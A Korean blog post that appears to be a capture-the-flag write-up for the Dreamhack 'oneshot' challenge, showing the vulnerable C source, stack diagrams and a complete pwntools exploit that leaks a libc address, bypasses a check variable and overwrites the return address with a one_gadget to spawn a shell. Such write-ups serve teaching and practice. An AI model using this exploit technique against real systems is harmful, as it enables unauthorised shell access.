본문 바로가기
시스템 해킹/드림핵

[Dreamhack] oneshot

by L3m0n S0ju 2021. 5. 11.

 


// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}


int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;
    initialize();
    printf("stdout: %p\n", stdout);
    printf("MSG: ");
    read(0, msg, 46);
    if(check > 0) {
        exit(0);
    }
    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

 

 


위 코드는 문제에서 주어진 코드이다. msg 배열과 check 변수를 생성하고 stdout의 주소와 "MSG: "를 출력하고 read로 46만큼 msg에 읽어들인다. 아래 main 함수 디스어셈블 결과를 바탕으로 스택을 예측하겠다.

 

 


 

 

+=======================+high

|                                                |

|                                                |

|                                                |

|               main ret                      |

|               main sfp                      |

|               check=0                      |  // <+15>:    mov    QWORD PTR [rbp-0x8],0x0 

|                  ...                            |

|                  ...                            |

|                  ...                            |

|                msg                           |  // <+80>:    lea    rax,[rbp-0x20]

|                                                |

|                                                |

|                                                |

|                                                |

|                                                |

|                                                |

|                                                |

+=======================+low

 

 

코드가 정상적으로 진행될 경우 스택은 위와 같다. 문제 코드에서 stdout 주소를 제공하므로 해당 주소를 통해 libcbase 주소를 알아내어 main ret 주소에 oneshot 가젯을 주입하면 익스플로잇 될 것이다. oneshot 가젯이란 oneshot 의미 그대로 한 방에 쉘을 탈취하는 가젯이다. 하지만 현재 대부분의 시스템이 oneshot 성공률을 낮추기 위해 노력하고 있기 때문에 성공률이 점점 낮아지고 있고 입지가 점점 좁아지고 있다. 이번 문제에서 oneshot 가젯을 주입할 때 주의할 점은 check 변수 부분이 0보다 크면 프로그램이 종료되므로 check에는 다시 0을 주입한다.


 

one_gadget 툴을 이용하여 문제에서 제공된 libc에서 one_gadget을 찾으면 4개가 나온다. 해당 주소를 익스플로잇 코드에 기록한다. 익스플로잇 코드는 아래와 같다.

 


from pwn import *
#r=process('./basic_rop_x64')
r=remote("host1.dreamhack.games",18889)
e=ELF('./oneshot')
libc=ELF('./libc.so.6')
context.log_level='debug'
 
def main():  
    oneshot1=0x45216
    oneshot2=0x4526a
    oneshot3=0xf02a4
    oneshot4=0xf1147
 
    r.recvuntil("stdout: ")
    leak=int(r.recv(14),16)
    print("[+] leak:" + hex(leak))
    print('[+] stdout: ' + hex(libc.sym['_IO_2_1_stdout_']))
    libcbase=leak-libc.sym['_IO_2_1_stdout_']
    print('[+] libcbase: ' + hex(libcbase))
    
    one_gadget=libcbase+oneshot1
    payload = b'a'*24+p64(0)+b'a'*8+p64(one_gadget)
    r.sendafter('MSG: ',payload)
    r.send(payload)
    r.interactive()
 
if __name__ == '__main__':
    main()

 

익스플로잇 코드를 요약하면 stdout 주소를 획득하여 stdout 실제 주소에서 오프셋을 빼면 libcbase를 구할 수 있다. one_gadget으로 구한 oneshot 하나를 골라 libcbase에 덧셈하여 one_gadget을 만든다. check 앞까지 덮어씌우기 위해 'a' 24개를 페이로드에 추가하고 check에는 0을 주입한다. 다음으로 main sfp는 필요없으므로 'a' 8개로 채우고 main ret을 one_gadget으로 덮어준다. 스택은 아래와 같다.

 

+=======================+high

|                                                |

|                                                |

|                                                |

|               one_gadget                  |

|               'aaaaaaaa'                    |

|                0 -> 0                        | 

|               'aaaaaaaa'                    |

|               'aaaaaaaa'                    |

|               'aaaaaaaa'                    |

|        msg    ->   'aaaaaaaa'            |  

|                                                |

|                                                |

|                                                |

|                                                |

|                                                |

|                                                |

|                                                |

+=======================+low

 


플래그

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] sint  (0) 2021.07.15
[Dreamhack] basic_exploitation_003  (0) 2021.05.22
[Dreamhack] Off_by_one_001  (0) 2021.05.07
[Dreamhack] basic_rop_x64  (0) 2021.05.05
[Dreamhack] basic_rop_x86  (1) 2021.05.03

댓글